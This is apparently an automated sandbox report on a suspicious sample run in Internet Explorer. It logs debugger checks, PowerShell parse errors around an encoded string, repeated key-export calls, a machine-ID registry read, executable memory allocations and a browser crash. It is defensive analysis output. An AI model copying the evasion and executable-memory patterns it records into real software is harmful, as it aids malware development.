IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Missing expression after unary operator '+'.
console_handle: 0x00000000000003f7
1 1 0

WriteConsoleW

 buffer: At line:11 char:2
console_handle: 0x0000000000000403
1 1 0

WriteConsoleW

 buffer: + + <<<< ZoL7acYKq9VcrJ5UWmdSowN8kt5NF70R9S4yCB2HwRGpqAXCKWVTF88mx4hNm+NMEm7Xe3
console_handle: 0x000000000000040f
1 1 0

WriteConsoleW

 buffer: H6fGuG13
console_handle: 0x000000000000041b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (+:String) [], ParentContainsErrorR
console_handle: 0x0000000000000427
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x0000000000000433
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MissingExpressionAfterOperator
console_handle: 0x000000000000043f
1 1 0

WriteConsoleW

 buffer: Missing expression after unary operator '+'.
console_handle: 0x00000000000007bf
1 1 0

WriteConsoleW

 buffer: At line:12 char:2
console_handle: 0x00000000000007cb
1 1 0

WriteConsoleW

 buffer: + + <<<< ZoL7acYKq9VcrJ5UWmdSowN8kt5NF70R9S4yCB2HwRGpqAXCKWVTF88mx4hNm+NMEm7Xe3
console_handle: 0x00000000000007d7
1 1 0

WriteConsoleW

 buffer: H6fGuG13
console_handle: 0x00000000000007e3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (+:String) [], ParentContainsErrorR
console_handle: 0x00000000000007ef
1 1 0

WriteConsoleW

 buffer: ecordException
console_handle: 0x00000000000007fb
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MissingExpressionAfterOperator
console_handle: 0x0000000000000807
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215670
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e60e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e60e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e60e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6150
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6150
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e63f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e63f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e63f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e63f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6620
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6620
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6620
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000215750
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e64d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e64d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6620
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6620
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b8e6620
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000022ca20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000022ca20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000022ca20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000022ca20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b91d9b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b91d9b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d39080
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d66c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d66c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d66c20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d66f30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d66f30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d671d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d671d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d671d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d671d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 97641936
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 97647888
registers.r11: 97643696
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1928099660
registers.r13: 0
1 0 0
request GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1636
region_size: 3477504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002e90000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1636
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000031e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1636
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003720000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefa1b7000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef69c9000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1636
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007feee589000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 16453632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002980000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003930000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9d000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9b000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000077186000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772d6000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000077181000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076ba0000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772af000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000772bb000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefe117000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdbe4000
process_handle: 0xffffffffffffffff
1 0 0
Application Crash Process iexplore.exe with pid 1636 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
